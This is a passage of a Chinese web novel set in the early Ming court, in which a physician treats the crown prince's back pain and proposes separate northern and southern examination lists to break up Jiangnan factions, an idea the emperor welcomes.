医馆后院的灶间还弥漫着药气。
徐妙云产后难得来医馆。
小六蹲在地上,拿小刷子仔细清理药碾子沟槽里残留的乌黑药渣。
“今日这‘无根水’又用去不少。明日得去城西白水寺那边的老泉眼多打点。”马淳清点着柜子里的瓶瓶罐罐。
这章没有结束,请点击下一页继续阅读!徐妙云正拿着一柄银剪子,修剪一只粉青瓷瓶里插着的几支晚开绿梅。
她穿着素绒的袄子,鬓边只簪一支素银簪子。
听见丈夫的话,手上动作没停。
“方才听小六念叨了两句,傅家那两位世子?”她剪去一片枯叶。
“嗯。”马淳合上柜门,走到水盆边洗手,“大的虚得厉害,小的损了根基,都得养。开了重剂清火的给大的,温养培元的给小的。”
他甩甩手上的水珠,接过妻子递来的干净布巾擦手。
“那两位世子爷是京中有名的浑不吝。”徐妙云将剪好的梅枝重新插好,调整着姿态。
马淳走到桌旁坐下,端起温着的半盏茶:“勋贵子弟,面子比天大。那小的憋了许久,都快憋出病。大的……无所顾忌罢了。”
“是有些操劳过度了。”徐妙云在旁边的圈椅坐下,看着丈夫。“不过,傅家……到底是国公府,深得圣眷。尤其颍国公那边。”
她顿了顿,话锋不着痕迹地一转:“父亲前两日过来小坐时,也提过一嘴。说这京城的水,近来是搅得浑了。那些嚼舌根的话,听着就烦。”
她拿起桌上放着一小朵剔下来的梅苞,在指尖轻轻捻着,“父亲只道,你守着这一方医馆,诊脉开方,外头风风雨雨,自有该撑伞的人去扛。他瞧着,心里很清透。”
马淳啜了口茶,温热顺着咽喉下去,没接话,只淡淡“嗯”了一声。
徐妙云将那梅苞丢进一旁的小渣斗里,抬眼看向丈夫:“方才宫里有人递了话过来。”
马淳放茶盏的动作顿了一下。
“是陛下身边李公公悄悄来的,”徐妙云的声音很轻,“说陛下传话,让你明日……进宫一趟。”
医馆里的空气似乎凝了凝。
马淳端起茶盏,又慢慢啜了一口。“为太子殿下?”
徐妙云点头,眉间有一丝了然的神色:“话里是提了。道是殿下连日操劳,腰背酸痛的旧疾像是又犯了,陛下瞧着不妥帖,念着你的脉息和用药。不过……”
她顿了顿,“那话递得虽客气,意思却明白。想来不只是腰。这节骨眼上巴巴叫你,怕是……不只是殿下的腰,另有它事。”
马淳放下茶盏,拿起火钳,拨弄了一下炭盆里暗红的银霜炭。
“常言道,无事不登三宝殿。”他拨弄完炭火,把钳子轻轻靠回炉边,“陛下不会平白无故叫我过去。”
翌日清晨,雪已停了。
马淳没带小六,只拎着他惯用的那只半旧樟木药箱,跟着引路的小太监,穿过一道道静默肃立的宫门。
药箱里分门别类。
左边格子里是常用的艾条、针囊、火罐。
右边码着整整齐齐的青釉小瓷瓶,贴着细长的墨字签,写着“活络舒筋膏”、“宁神散”、“固本益气丸”。
底下还有一层,裹着几块干净的细棉布和一个巴掌大的黄铜小暖炉,没什么名贵奇物。
乾清宫的暖阁里,刚批完一叠紧急军报的朱元璋正歪在临窗的软榻上,眉宇间压着挥不去的倦色,案上堆的文书山矮下去一小截。
听见脚步声,他微微抬了下眼皮。
马淳垂手进来,在那丈许开外便立住了。
“臣马淳,叩见陛下。”声音四平八稳。
“起来。”朱元璋的声音有点闷,他坐直了身子,指了指榻边搁着的紫檀小几,“坐。叫你过来,是标儿……”
他皱着眉,手下意识在腰眼的位置按了一下,才道:“这些日子连轴转,熬得狠了。昨晚见他脸色都不对,问他只说无妨,叫太医瞧,也只回些‘忧心过度’‘耗损心血’的屁话!你前儿开的药膏,他昨晚用了?”
“回陛下,”马淳没有落座,依旧站着,“昨日送去的药膏专用于腰背酸痛、寒痹凝滞之症。睡前热敷腰眼肾俞两穴,能舒筋活络,暂缓不适。”
“暂缓!”朱元璋的眉心又拧紧几分,“他就光靠你这药膏扛着?他那底子……你不是不知道!自小就……就没那么硬朗!眼下这关口,一团乱麻等着他收拾!”
他顿住,那双眼睛沉沉落在马淳身上。
不再只是外戚与臣子,更多像一个为儿子身体忧心的父亲。
“给他好生看看脉。看看除了腰,这心肝脾肺肾……哪个零件还能受得住他这么糟蹋!给朕句准话!”
马淳微微躬身:“是。”
朱元璋看着他这副始终沉静、不多一字的模样,心头那无名燥火被稍稍按捺下去。
他烦躁地抓过榻边小几上一份写着“河南布政司查抄官产名录”的折子,翻开却又似乎根本看不进去。
“李德贤昨夜又攀咬了几个,口供在蒋瓛那里。你去东宫前……算了,”他话到一半又烦躁地挥挥手,“先去东宫!给那小子看脉!看完再来回朕话!”
……
喜欢我在大明开医馆请大家收藏:()我在大明开医馆更新速度全网最快。
第255章 马淳又要给朝堂开药了
东宫暖阁里炭火烧得旺,朱标正伏在案上,朱笔悬在一份摊开的河道急报上方。
他后腰僵得厉害,不自觉地绷紧肩背,像张拉满的弓。
门外小太监通传:“徐国公到。”
朱标猛地抬头,见马淳身影已立在门边。
“舅舅?”朱标搁下笔,撑着桌案站起身,动作有点急,扯得后腰一抽,眉心几不可见地蹙了一下。
他没顾上揉,反倒紧走几步到马淳跟前,拂开袍袖就要行晚辈之礼。“您怎么来了?外甥失迎……”
马淳一步上前稳稳托住他手臂,触手冰凉。
“殿下。”
朱标执意往下躬了半分身子才直起腰。
“是父皇请您来的?”他问着,目光里已经透出几分了然。
“嗯。”马淳指向旁边铺着软垫的矮榻,“陛下忧心殿下腰背旧疾。诊个脉。”
朱标没二话,依言坐下,褪下半边袍袖,露出一截苍白的手腕。
他这才觉得后腰那块骨头缝里,又冷又涩的酸胀感密密麻麻泛上来,眉头不由自主地拧紧了些。
马淳手指搭上寸关尺,沉而稳。
目光低垂,只专注于指下那细微急促的搏动。
脉象滑而弦,急促,像绷紧后又松开的弓弦,带着无力的虚浮。
朱标后腰的肌肉绷得死紧,指尖下的皮肤透着凉气。
马淳没说话,收回手,打开药箱。
取出针囊,一排银针在炉火映照下闪着幽微的冷光。
他绕到朱标身后,手覆在他后腰僵硬处,隔着厚实的衣料,准确地按在穴位上。
力道不轻不重,揉进去。
掌根下的肌肉硬得像块石头。
朱标先是紧绷,随后一股滚烫的热流顺着那点揉压渗透进去,猛地一松,闷在喉咙里一声极短的“唔”。
“忍一下。”马淳声音平稳,手下不停。
指腹顺着脊柱两侧几条暗沉的筋络推下去,像推开淤塞的河道。
朱标只觉得那几股酸胀刺痛的浊气被揉散了,一股暖烘烘的劲儿顶上来,从尾椎一路爬升。
腰背上,那块压了他几天几夜的沉重寒石仿佛瞬间裂开几道缝隙。
他微微合上眼,任那股热气在骨缝里游走,一直绷得像琴弦的肩颈渐渐软塌下来,长长舒出一口气。
冷汗和燥意一并被逼了出来。
针囊捻开,三寸毫针夹在指间。
马淳手快,几乎没看清他动作,几点寒星便已准准钉入朱标后腰与肩背几处大穴。
朱标只觉得几道尖锐的酸麻胀痛猛地窜开,像无数条小蛇钻入肌理深处,激得他额角突突直跳,牙关瞬间咬紧。
那点尖锐过去,汹涌的暖流随之奔涌而至。
被针扎中的地方像通了暖泉,汩汩的热流冲向四肢百骸。
积郁在胸腔里、塞在喉咙口那种喘不过气的憋闷感,竟被这几针生生破开一条路。
马淳站在他身后,指腹捻转针尾,极其细微地引动针尖下的气。
朱标闭着眼,眉头拧紧又松开,汗珠顺着鬓角滑下来,滴在领口。
他微微咬着下唇,硬扛着那股钻筋透骨的尖锐。
太狠了。
那针刺下去,带着股不容拒绝的狠劲儿,硬生生把缠在骨头缝里的寒气给挑散了,痛得钻心,可偏偏那痛过后,松快得像刚卸掉千斤重枷。
他额角的汗珠汇聚成大颗滚落,手指无意识地在膝盖上攥紧成拳。
时间在针尖捻动中流淌。
朱标紧闭的眼皮下,眼珠滚动着,仿佛陷进一场无声的风暴里挣扎。
好一阵子,那针尖下的尖锐才转为温热。
马淳手快如电,起针无声无息。
手指搭在他后颈风池穴附近,揉按了几下。
“松开了。”马淳道。
朱标猛地睁开眼,像刚从深水里挣扎出来的人,用力吸了一口气。
他这才发觉自己身上里衣已经被汗水浸透。
后腰那块地方依旧带着针扎后的余痛,又麻又胀,但先前那沉甸甸坠着他,仿佛要把他整个人拖进泥沼的寒滞感竟奇迹般消失了!
一股久违的轻松感从脊椎骨蔓延开,通身暖意融融,像冻僵的四肢骤然投入温汤。
“舅舅……”朱标喉头滚动了一下,带着点难以置信。
他试着动了动腰身,虽还有些僵麻感,但那压了他许久的沉重枷锁确实卸下了大半。
马淳把用过的银针擦拭干净放回针囊,又取出一个稍大的青瓷盒递过去:“新调的膏药。睡前热水敷透腰眼,再涂这个,纱布裹上。别拆太久,怕再着了凉。”
朱标默默接过药膏,温温的,带着浓厚深沉的药气,直往鼻腔里钻。
他低头看着手中小小的青瓷圆盒,药膏沉甸甸的,封住温厚而苦涩的草木气息。
是感激?
是心酸?
还是一种对父皇那看似冷硬、实则如地火般灼热的关切的猝不及防?
朱标没穿外袍,肩背的线条透过单薄的中衣显出几分疲惫的单薄。
“舅父您一席话,救了傅忠,也压下了空印案那场泼天祸事。”朱标开口。
本小章还未完,请点击下一页继续阅读后面精彩内容!其实他知道,父皇叫舅舅过来,一定是有道理。
要看病,自己去医馆就行。
叫舅舅来,就是商量国家大事的。
马淳正弯腰收拾针囊和火罐的手顿了一下,头也没抬。
“那时您说,刀再利,也要看准下刀之处。”朱标抬起眼,“首恶当诛,胁从可悯。是这话,在陛下盛怒的火头上,硬生生浇下了一道冰河。”
马淳扣好药箱铜扣,直起身,脸上依旧看不出波澜。
他走到一旁放着的铜盆前,慢条斯理地浸湿布巾拧干。“该扎的针扎了,病根子在别处。”
声音平平淡淡,擦拭手指的动作从容不迫。
朱标看着他把用过的布巾叠好放回水盆边。
他扶着桌案边缘站起来,赤着的脚踩在厚实的氍毹上,走了几步。
他慢慢踱到那扇半开的雕花长窗前,无声矗立。
“这次的事……”朱标的声音带着一丝疲惫,“牵连太广。江南道、两淮、京畿……六部与地方盘根错节。抓一个,扯出一窝,审一个,咬出一串。”
他顿住,“蒋瓛的镇抚司,刀子磨得足够快。血,也流得够多了。”
朱标转过身,直视着马淳:“眼下就像炸了条淤塞百年的大河,泥沙俱下,水浑得能遮天蔽日。舅舅……”
他向前走了一步,“您觉得,如今这水……该让它如何流?”
马淳靠在放着药箱的矮几边,他抬起眼。
“炸开的河,要的是新渠。”马淳终于开口,“水浑,是泥沙在找地方落。硬堵,不过是再堆个烂塘子。”
朱标瞳孔骤然一缩,他几乎是屏住了呼吸,身体微微前倾,“新渠……怎么开?”
马淳的视线越过朱标,“找块干净硬实的生土做堤。旧河道的淤泥太多,又烂又腥,掺进去,新的堤坝早晚还得塌。”
生土。
干净硬实。
朱标无声地咀嚼着这几个字,像在咀嚼一块硬邦邦的干粮。
吏部送来的那些候补官员名录里的生面孔,一张张模糊的脸在他脑海里快速掠过。
寒门出身的举子?
外地调来的实干小吏?
那些名字背后的履历清晰起来——没有盘根错节的门生故旧,没有织成蛛网的利益裙带。
“可淤泥太多,遮住了生土。哪块地是好地?”朱标追问。
河道崩坏多年,淤泥深深,早已盘根错节裹住了河床,到哪里去淘澄出干净坚硬的新土?
马淳捻着针尾,“新土,也有新土的难处。”
“根基浅,经验少,骤登高位,是容易被浊浪冲垮。”
朱标刚松弛的脊背又绷紧了些……
喜欢我在大明开医馆请大家收藏:()我在大明开医馆更新速度全网最快。
第256章 杀人能顶事?得设南北榜!
新面孔带来新气象不假,但猛药也需缓调。
他当然想过,骤然拔擢大量生手填补空缺,很可能适得其反。
“舅舅的意思是……不能操切?”
马淳用洁净白布擦拭着针尖,动作不疾不徐,透着一种医者的沉稳。
“是根基不同。今日有江南籍官员串联谋逆,明日焉知不会是两广、陕甘?地分南北,人心却同。”
他抬眼,目光平静,心底却搅起波澜。
“江南,自两晋衣冠南渡,文脉滋养千年,沃土养人,士子辈出,这是天时地利。北方自前元以降,战火连年,残破凋零,寒门士子读书进身本就艰难得多。久而久之,科举取士,十之七八出于江南,自然而然。”
马淳把擦净的银针逐一放回囊中,“人多了,心思自然聚拢。今日为抗淮西勋贵而抱团,明日为保荐升迁又当如何?
“后日为争漕运盐课税银的巨大利益,难道就不会再有新的‘同乡之谊’?”
“今日铁链锁拿的这一千五百人,看似连根拔起,气势汹汹。可依那千年文脉积累的底蕴,新苗破土再生,又会耗多久?”
他轻轻摇头,带着一种近乎悲悯的透彻,“人如野草,杀是杀不完的。今日杀了这一片江南绿,明日冒头的,依旧是江南绿。这根源不除,所谓的清洗,不过是剜去烂肉,那致病的腐毒还留在血脉骨髓里。”
朱标呼吸微微一窒。
那堆积如山的卷宗,那串长长的、被朱砂划去名字的名单,那诏狱深处日夜不息的拷问与哀嚎……
耗费多少心血?
泼洒多少鲜血?
难道……
“不过是扬汤止沸?”朱标的声音低沉下去。
马淳没有直接回答沸或不沸,语气依旧平稳:“殿下现在最耗心血的,是选人、查案、杀人、填补窟窿。杀一批,选一批,周而复始。”
他略作停顿,语速放得更缓,“为何不能把这耗费在人事倾轧、生死相搏上的庞大心力,稍稍分出一些……去疏导那淤积千年的河道呢?”
“南优北劣,文才悬殊。这是痼疾。若朝廷取士,只凭一张纸、几篇文,那优者愈优,劣者愈劣,南北鸿沟只会越来越宽。
“在朝堂上,同乡、同年、同科、师生……盘根错节,他们不拧成一股绳维护同出一地的庞大群体利益,难道要互相倾轧,做那散沙么?
“换做你是江南寒窗苦读数十载才跃过龙门的士子,眼见得周围尽是同乡同窗,岂能不想:‘人多势众才安全?’”
朱标的脸色在烛光下显得有些苍白。
他靠在椅背上,手指用力按压着胀痛的太阳穴。
朝堂倾轧、派系林立,他何尝不知?
淮西与江南的暗流,父皇的铁腕清洗……历历在目。
可这盘根错节的根源,竟在于那支撑了大明根基的科举本身?
一股寒意比窗外的风雪更冷地窜上脊背。
他仿佛看到那厚厚的卷宗山后面,无数张面孔模糊不清,但他们都来自同一个方向,因共同的出身、共同的利益而聚合,像一片无形的、生命力极其顽强的丛林。
“如此积弊……难道就无解?”朱标询问。
父皇的刀够快,血已流了太多,但舅舅这一席话,却像揭开了一片更深、更令人绝望的伤口。
这伤口,快刀剜肉是止不住血的。
暖阁陷入压抑的寂静。
马淳没有看朱标,目光飘向那半开的窗格。
“解药当然有,”马淳的语调依旧平稳,“但非一日之功,也不是靠着杀人立威就能一蹴而就的猛药。需要像梳理淤塞的经络,不能急,不能燥。”
他重新坐回椅中,“南方文盛,是根深蒂固之势,如同人之气血充盈于头面胸腹;
“北地经年战乱,文风积弱如同气血亏虚于四肢末梢。若想四肢末梢也得气血滋养,不再枯瘦冰冷,便不能再只盯着那已然壮硕的胸腹之处——任凭它因充裕而更容易产生淤滞聚火之害。”
“殿下案头那份崭新的候补名册,”他话音一转,“是生机。但这些新苗不能孤零零地抛入这南强北弱的老藤缠绕的瓜田中。他们,需要另外一处更需滋养也更易扎根的土壤去生长。”
朱标眼中困惑一闪而过:“舅舅是说……把他们放到北方?”
“不全是。”马淳缓缓摇头,“是给予倾斜。如同医道调理,何处虚,何处便要多些滋养。南方科举中额如旧,因其才高;
“但朝廷不妨单独设‘北榜’,专门取录北方(中原、陕甘、北直隶等地)士子。考卷不分难易,唯录其优。取中的名额,划入吏部擢选名单,优先放至北地或漕运、河道等紧要而需避嫌‘江南故旧缠绕’的职位上去历练。”
这个想法像一道乍亮的火花,在朱标脑海中骤然划破浓重的迷雾,让他浑浊的思绪瞬间清晰了几分。
“北榜……”朱标喃喃重复,眼中那疲惫的血丝底下,骤然爆射出一种奇异的光芒。
像是疲惫的旅人,骤然看见了远处篝火的亮光。
这章没有结束,请点击下一页继续阅读!单独取录北方!
专设一榜!
这念头,何等简单直接,又何等……大胆!
这已不仅仅是换血,而是在那庞大的、近乎固化的官僚根系旁,尝试培植出一棵截然不同的新树!
这棵新树,从一开始就扎根在北方贫瘠却急需滋养的土地上,从一开始就与那盘踞江南沃土的参天大树割裂开来!
他的呼吸急促起来,手指下意识地在桌案上敲击着,“那江南籍官员空缺出来的要职……”
“正是机会!”马淳接口道。
“通政司、漕运总督府、河道衙门……这些江南势力盘根错节、油水丰厚的关键衙门,此刻被血洗一空,正是推倒旧木、重筑地基的最佳时机!
“吏部新遴选的生手确实可能经验不足,但他们根基最清!他们没有江南故旧的牵挂!把他们安插进去,如同在淤塞的河道里楔入崭新的铁板桩!不必人人精明强干,只需一人做事,盯紧一人。”
朱标猛地站起来,连后腰的酸麻也被这巨大的冲击感暂时冲散了。
暖阁里似乎不再那么压抑,“山西的寒门举子去管江南发运司的漕粮兑付?”
他几乎是脱口而出,“淮北贫苦出身的进士,去顶那杭州织造局的肥缺?”
“妙!”他重重一掌击在案上,“让江南的士绅老爷们,看看他们精心编织的网外,站着的是什么人!让那些来自寒苦之地、只懂照章办事、油盐不进的小官们,去挡住那些几世几代都盘踞在当地的蛀虫!”
一股久违的、带着凛冽寒气的激情在朱标胸中奔涌。
这不再是单纯的愤怒和杀戮带来的宣泄,而是一种亲手布局、扭转乾坤的巨大力量感!
这力量感足以压倒日夜审案的疲惫。
“对!不仅要放过去,”他的语速快得惊人,思路前所未有的清晰,“还要重重护着!吏部派出的新官赴任,着地方督抚、按察使就近关照?不行!不够!”
“从京营禁军里抽调人手!”他眼中闪烁着冰冷的光芒,“每个到任的新官,特别是两淮、苏松、浙江、江西这些重灾区职位上的新官,暗中派一队禁军好手随行护卫!”
“不是明面上耀武扬威的排场,而是如同影子!让他们一到任就摸清衙门内一切关窍,护住这些新苗的安全!谁敢伸手动这些小苗……”朱标的拳头握得咯咯作响,“……就由着那些暗处的禁军,以雷霆手段处置!”
暖阁里仿佛有风雷涌动。
朱标来回踱步,脚步越来越快,整个人像一把即将出鞘的利剑,散发着逼人的寒气和凌厉的决断力。
“北榜培新苗,填位断旧网,再配以暗中护卫的铁手……”
“咔哒。”门栓滑开的轻响,突兀地打破了暖阁内激荡的氛围。
两人同时侧目。
总管太监李忠盛垂着头,脚步轻得像猫,悄无声息地进来。
他没有看朱标,也没有看马淳,只是对着朱标的方向,用最平稳、最清晰的语调陈述道:“殿下,锦衣卫蒋瓛大人命小的递话,刚提审的原江苏巡抚钱有道……咬出了三个新名字。其中两位,系正奉命核查户部湖广司账目的主事官……另一位,是……通政使司新任右参议薛道平。”
李忠盛的声音波澜不惊,却像一瓢夹着冰碴的冷水,直直泼入了暖阁。
薛道平!
吏部新遴选上来、今日朱标亲自点头任命、即将派往通政使司接任关键职位的那位“新土”!
朱标脸上那股雷厉风行的锐气瞬间凝固,眼中的光亮像被疾风吹灭的蜡烛,只留下一点挣扎的余烬。
他缓缓转过头,目光再次投向窗外。
“父皇……召我去西暖阁……”
“备轿。”他对李忠盛说,两个字吐得清晰无比。
他又看向站在角落阴影里、一直沉默得像块石头的马淳。
“舅舅……”
马淳已经提起了他的药箱,“药膏用法,莫忘。天寒地冻,仔细腰背。”
说完,他微微躬身一礼,便不再看朱标,转身径直走向暖阁另一侧的角门。
朱标站在原地没动,目光落在李忠盛捧来的那件织金妆花缎的亲王常服上。
李忠盛沉默而利落地为他披上。
朱标抬步,向正门走去,门外风雪扑面而来。
李忠盛立刻撑起一柄巨大的玄青色油布伞,稳稳地遮在朱标头顶,将那沉沉的雪片隔绝在外。
“陛下……是何意?”风雪声中,朱标的声音不高不低,平平地送了出去。
玄青色的伞面微微倾斜,挡开扑面而来的雪花。
李忠盛的腰弯得更低了,“陛下只吩咐了一句话——殿下近来审案辛苦,见识更是大进。该问您一声:如今这刀子举起来了,接下来,该杀哪个方向?”
伞下,朱标的脚步几不可察地顿了顿,随即又恢复了前行……
喜欢我在大明开医馆请大家收藏:()我在大明开医馆更新速度全网最快。
第257章 马淳这个人!简直是国师!
朱标站在暖阁窗前,没回头。
那扇角门轻轻合上之后,屋子里彻底空了。
新土?
薛道平就是吏部精心挑出来的“新土”,清贫举子,毫无背景。
不到两个时辰前,他还握着那人的卷宗,拍板定了通政使司右参议的缺。
结果呢?被供出来了。
血还没流干,绞索里又揪出一个。
江南,江南,还是江南!
那张巨大的网,砍掉多少线头才能撕破这张网?
刀斧是能砸开硬壳,可砸进去发现底下盘踞着更庞大、更虬结的根。
砍杀只能清掉腐肉。
那根呢?
马淳的话像根针扎进脑海。
“人如野草,杀是杀不完的。今日杀了这一片江南绿,明日冒头的,依旧是江南绿。”
朱标闭了闭眼。
舅舅看得太清楚了。
江南文脉积攒了上千年,那底气是从骨子里透出来的。
朝廷抡起刀子砍人爽利,可杀来杀去,死的不过是这张网里的小虫。
那些能结网的蜘蛛,那些埋在地下的根脉,根本没伤着筋骨。
只要科举还是这张考卷定终身,南方士子靠着深厚的底蕴和文脉积累,注定要挤满金榜。
朝廷取士像挑水,南方水源丰沛水桶又大,一勺下去几乎灌满;
北方干涸,桶又小,舀几滴就没了。
长此以往,南强北弱,朝堂话语权自然一边倒。
江南抱团是生存本能。
朱标猛地攥紧窗框,木刺嵌进掌心也没觉出疼。
不杀根,怎么断网?
舅舅那根针,刺痛的不仅仅是腐肉,是更深处的病灶。
北榜!
另开一道渠,专取北方的水。
让那些读了几辈子书也难出头的中原子弟、陕甘寒儒,给他们一条通天梯!
让朝廷的取士之道,成为一根导流的渠!
不必看卷子论南北优劣,只在源头分南北名额。
朝廷需要更多真正属于这片江山的骨头,需要打断江南独占文脉的根基。
南方中举的继续做他们的官,北方那些被常年挤压在外的寒门,有了自己的路。
新土入新位。
等北榜的种子发芽抽条了,等北方的树也在朝堂里立住了,那层“乡党”的壳才算真正被打破了。
朝廷的命脉才不会再被同一块水土养大的士绅攥在手里。
这个念头一旦扎进去,便如同冰封下的暖流,在朱标的心里奔腾起来。
沉滞的四肢里,好像又有股热气涌上来,顶着筋骨。
比马淳的针还厉害,比那药膏的温热更入骨。
杀人?不顶事。
设榜!分南北!
这才叫挖根断脉!
他猛地转身,声音有点干,眼睛却像点了灯。
“李忠盛!”
老太监立刻出来:“殿下。”
“备轿!”朱标后腰那块还有些酸麻,可步子抬起来落地却利索,“去乾清宫!见陛下!”
乾清宫西暖阁。
朱元璋歪在软榻上,盯着手里一份奏报。
小太监捧着的铜盆里血水还飘着热气,另一个小太监正拿裹了药的厚布,往他发僵的手腕上缠。
骨头缝里透出的酸劲儿,是多年征伐落下的根儿。
脚步声在殿外石砖上响起,稳得很。
朱元璋眼皮撩了一下,没抬头。
手上缠布的动作却停了,小太监连忙退开。
朱标进来,却没往日的苍白疲惫,眉眼间压着一股不同寻常的亮。
“父皇。”
朱元璋把手从药布上抽回来,挥退左右太监。
殿里只剩父子二人。
“来得倒快,”朱元璋哼了一声,手指点了点炕桌对面,“咱没聋,外头闹腾抓人的动静震天响。审出条大鱼就急着来请功了?”
朱标解开大氅带子递给候在身后的李忠盛,几步走到炕桌边,没坐。
腰板挺得有点直。
“是条落网的鱼,但不足喜。”他道:“儿臣来,是想请父皇的示下。那‘新土’,栽下去就被虫啃了窝。这法子……怕是栽一棵啃一棵。”
朱元璋斜眼瞅他,没说话,等着下文。
朱标深吸口气。
“虫子杀不尽。只要这块‘园子’的水土不换。儿臣刚听舅舅说了个从根子上换水土的法子。”
朱元璋眉头一挑:“嗯?说说。”
朱标没再迟疑,将暖阁中马淳一番话与那“北榜”的构想和盘托出。
“……科举一途,南优北劣,源流不同,积弊甚深。光靠杀人砍头,压不住南人日日在贡院磨笔的力气!
“朝廷欲制衡,非得另辟蹊径不可。设‘北榜’,专取北地士子。南榜取才依旧,北榜另立名额,选贤用能。不论文卷只论一地,是为‘公平’。
“拔擢的新苗,往那被蛀虫啃空了的江南要害官位上种!
“既保他们不与旧网纠缠,又能用‘新土’的本分硬气,顶住那些钻营!”
他一口气说完,胸腔微微起伏,目光灼灼,盯着朱元璋的脸。
老皇帝那根手指,原本一下一下敲着光滑的炕桌桌面,节奏均匀。
本小章还未完,请点击下一页继续阅读后面精彩内容!朱标的话说完,指尖那一下顿在桌上,没抬起来。
然后,一声笑,突兀地响起。
不是开怀的笑,更像是松了口气地笑。
他慢慢抬眼。
“好!好个另辟蹊径!”
笑声猛地抬高,豁亮!
这回是真的笑了出来。
“这才叫釜底抽薪!比你老子光知道砍脑袋强!”朱元璋手拍在炕桌上,“这才是剜毒!剜那骨头缝里的毒!马淳这人,是咱看准了!”
他笑中带着快意,“咱叫他去给你瞧腰,是让他扎两针让你清醒清醒!也给你点建议,万万没料到他给你开这么一剂猛药!好!”
他身体略向前倾,“南边这些读书种子,读了千年书,骨头缝里都是心眼儿!光指着刀快?不顶事!断了他们后辈的‘进身根子’,这才是掘他们的祖坟!”
朱元璋站起来,那股憋闷了许久的燥火似乎终于找到了一个畅快的出口。
“设榜!分南北!北榜取土,专塞江南那些被咱砍空了的窟窿!好!
“马淳这主意正打在蛇的七寸上!断根!”
他用狠狠拍了两下儿子的肩,震得朱标骨头都颤,“咱之前憋着劲儿只知杀杀杀,是昏了头!马淳这法子,是从阎王爷手里抢根基!给朝廷种新树!立百年!”
朱标被那蒲扇般的大手拍得稳了稳身形,父皇看出来了,他懂舅舅这味“药”的分量。
不是救急,是固本,是通塞百年之淤!
“爹,”朱标也用了常称,“儿子觉得,此策可成国策。不拘于眼前酷烈案狱,乃百年利刃!”
“利刃?”朱元璋笑声低了些,“岂止!它断了某些人千年的大运!”
他大步走到暖阁西墙那张巨大的《大明坤舆图》前,粗糙的手指划过南直隶富庶的府县,最终“咚”一声落在黄河北岸的河道标记上。
“人活着得喝水,当官的想抬头,就得有功名这根管子!给北边也插根管子,他们喝饱了水长出筋骨来,谁再想在咱大明的碗里捞独食?”他霍然转身,眼睛精亮,“你那腰该没事了吧?给老子坐正了!”
朱标下意识挺了挺腰:“儿臣在!”
“好!”朱元璋声音如铁锤砸实,“马淳送了咱一剂救命的方子!那咱爷俩就按方抓药,配一把斩断江南士绅百年根基的刀!传旨——”
“召吏部尚书、礼部尚书、翰林院首座学士、左都御史、兵部尚书,火速入宫!掌灯!备茶!”
……
喜欢我在大明开医馆请大家收藏:()我在大明开医馆更新速度全网最快。
第258章 惊天动地!江南人不能为所欲为
乾清宫西暖阁,灯火通明。
朱元璋坐在软榻上,眼皮半耷着。
朱标立在他身侧,腰杆挺得有些刻意。
吏部尚书陈迪、礼部尚书李原名、翰林院首座学士宋讷、左都御史詹徽、兵部尚书沈溍,五个人立在暖阁中央。
空气沉重得能拧出水。
蒋瓛带来的新口供,钱有道攀咬出的名字,尤其是那个薛道平,像块冰,塞进了每个人的喉咙眼。
朱元璋没睁眼,手指无意识地在膝盖上敲了敲,像是不耐烦,又像是催命符。
声音不高,“都听到了?说说。”
陈迪这位管着大明官员升降的老尚书,额头早沁出了冷汗。
他清了清嗓子道:“陛下……臣……这案子……”
话卡住了,他重重叹了口气,才续上:“牵连实在太广!江南道、应天府、六部……甚至通政司这样新换上人的地方……”
他又顿住,“昨日才审出一个,今日又攀咬三个!照此下去,何时是个头?”
他抬眼看向朱元璋,“若……若再这般攀咬下去,杀的……不止是涉案之人的头。京官、地方官,怕是……怕是要倒下一小半!届时衙门空悬,政令不通,恐……恐非社稷之福啊陛下!”
兵部尚书沈溍,一个行事刚硬如铁的老军汉,此刻眉头拧得像块生铁疙瘩。
他盯着地上的青砖缝,瓮声道:“杀!是该杀!这等勾结谋逆的腌臜货,死不足惜!”
不过很快他就变了语气,“可陈尚书说的是大实话!一刀下去痛快,杀光了,这偌大的朝廷,谁来运转?边关的粮秣,九边的军备,各地驿站驿马,河道漕运?都成了瞎子瘸子?更怕的是……”
他咬了咬牙,“杀得狠了,风声鹤唳。难免有人……为了活命或者泼脏水,逮谁咬谁!假的也攀成真的!那才真叫……坏了根本!”
左都御史詹徽,掌管纠劾百官的都察院首领,脸阴沉如水。
他缓缓开口,“审案,讲究证据确凿,刑不妄加。陛下已明旨要求不得随意攀诬。然……”
他话锋一转,“人心惶惶之下,保命为第一本能。恐吓之下,屈打成招未必没有;为了脱罪或拖人下水,混淆视听的,只会更多。长此以往,法度崩坏,人人自危,朝廷威严……也就荡然无存了。”
翰林院首座学士宋讷,素以清流自居的老学究,一直没开口,只捻着自己花白的胡子。
此刻他深深吸了口气,又沉沉吐出:“陛下,诸位同僚所言,俱是忧思。这案,若……若只依着眼下这法子审下去、杀下去。臣斗胆……”
他撩起眼皮,飞快地扫了一眼榻上闭目的皇帝,“恐……恐失人望,动摇国本。需……需得一个……破局之法了。”
朱标一直听着,听着大臣们字字句句的忧虑、恐惧和无力感。
这些话,每一句都像针,扎在他自己的心尖上。
他等宋讷话音落下,阁中再次陷入令人窒息的沉默。
那死寂压得人喘不过气。
就在这时,朱标上前了一步。
脚步声很轻,却让阁中所有人的目光,瞬间聚焦在他身上。
他目光扫过眼前五张忧虑至极的脸,“诸位所言,句句中的。砍刀斩不断藤蔓,杀伐平息不了源头祸根。”
朱元璋的眼皮微微动了一下。
朱标的声音继续响着,“此案根源,根植何处?诸位可曾想过?”
他微微停顿,带着近乎冷酷的清醒:“根植于朝堂之势已成尾大不掉!根植于我朝取士之道——南强北弱,已逾千年!
“根植于那沃土江南,千年文脉滋养,人才辈出,同气连枝!
“盘根错节之下,一处生事,便处处勾连!”
他的声音陡然一沉,“若想根除这般毒瘤,光靠剜去腐肉不行。得拔根!得……另辟蹊径!”
五名重臣的心同时提了起来。
另辟蹊径?
朱标迎着他们或震惊或疑惑的目光,终于抛出了那柄早已准备好的“利斧”:“孤有一策。”他吐出四个字,暖阁的空气仿佛骤然凝滞。“开科取士,分设两榜!”
“南榜依旧!考卷文章,择优录取!”
“同时!专设北榜!北榜名额——务必要多过南榜!”
什么?!!
如同平地一声惊雷!
吏部尚书陈迪像被烫了脚,猛地瞪圆了眼睛,嘴唇哆嗦着,一个字也蹦不出来。
礼部尚书李原名捻着胡须的手僵在半空,指尖发白。
左都御史詹徽那张冰冷的脸上,第一次裂开一丝难以置信的缝隙。
翰林院宋讷浑身一震,差点没站稳。
连兵部那老军汉沈溍,都张大了嘴,活像见了鬼!
